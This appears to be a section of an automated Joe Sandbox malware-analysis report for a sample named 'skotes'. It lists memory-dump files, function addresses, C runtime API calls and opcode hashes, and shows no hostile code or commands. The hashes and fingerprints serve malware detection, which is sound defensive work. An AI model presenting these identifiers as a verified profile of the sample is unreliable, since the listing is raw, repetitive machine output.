Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 6952b7782464c7d085fc6fe56b10e05ae3ef98ed69987fccc5f5b29902782247
Instruction ID: dd40bf2d8f06f2498227f56710b6d7e96ddde5cd3df96091ec411f239dca4932
Opcode Fuzzy Hash: 6952b7782464c7d085fc6fe56b10e05ae3ef98ed69987fccc5f5b29902782247
Instruction Fuzzy Hash: F1F0E936A0020CE7CB24FB54DD43EAEB7789E90728B15C66EE50667181DF70AA05C692

Function 00ADCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00ADCC66

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 59331a186c7f007e6ab3cfed68c9a5f719f4b1474f554e7d5868b872744e98c4
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 06B136729042869FDB15CF68C8817EEBBF5EF45360F54416BE956EB342DA348D01CB60

Function 00AE67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00AE6902
__alloca_probe_16.LIBCMT ref: 00AE6998
__freea.LIBCMT ref: 00AE6A03
__freea.LIBCMT ref: 00AE6A0F

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 24b7f925bd8906fac0bfc8cc471cc9bbdc20724abf1e4f395fb52ee36aa5f8d5
Instruction ID: 4cfdf8fc634f72f2c1b9fb9fc034a22c9f41f0e189b77e2ad4f740cb09a0a67e
Opcode Fuzzy Hash: 24b7f925bd8906fac0bfc8cc471cc9bbdc20724abf1e4f395fb52ee36aa5f8d5
Instruction Fuzzy Hash: 3281D272D002859FDF209FA68991EEF7BB99F293D4F194865E811B7242E731CC40CBA1

Function 00AD504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00AD5115
___AdjustPointer.LIBCMT ref: 00AD5138
___AdjustPointer.LIBCMT ref: 00AD51D4

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: eaea11258e7f4fffe9571289f4a19c9b64ef2e6aa71b657755c2ee1d02e2d1a4
Instruction ID: 8fa2ea5323e2198b6ec1feefc8347bf82359285a50027dad95c7e1dc977442ec
Opcode Fuzzy Hash: eaea11258e7f4fffe9571289f4a19c9b64ef2e6aa71b657755c2ee1d02e2d1a4
Instruction Fuzzy Hash: 1851C172E01A06AFDB29AF64D941BBAB7B5EF14300F14462AF917473A1E731ED40CB90

Function 00AD4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00AD4C66
TypeidsEqual.LIBVCRUNTIME ref: 00AD4C8B
PMDtoOffset.LIBCMT ref: 00AD4CA1
PMDtoOffset.LIBCMT ref: 00AD4D22

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: c04c49a6ab499e6dc4056882469f83f7719474b00f2f346cbd2d3e644d858f20
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: BB518B39A042099FDF11CF68C5806EEBBF6EF19354F14449BE892A7351D732AE45CB90

Function 00AA2EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AA2F5F
GetCurrentThreadId.KERNEL32 ref: 00AA2F7E
__Mtx_unlock.LIBCPMT ref: 00AA2FCC
__Cnd_broadcast.LIBCPMT ref: 00AA2FE3

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

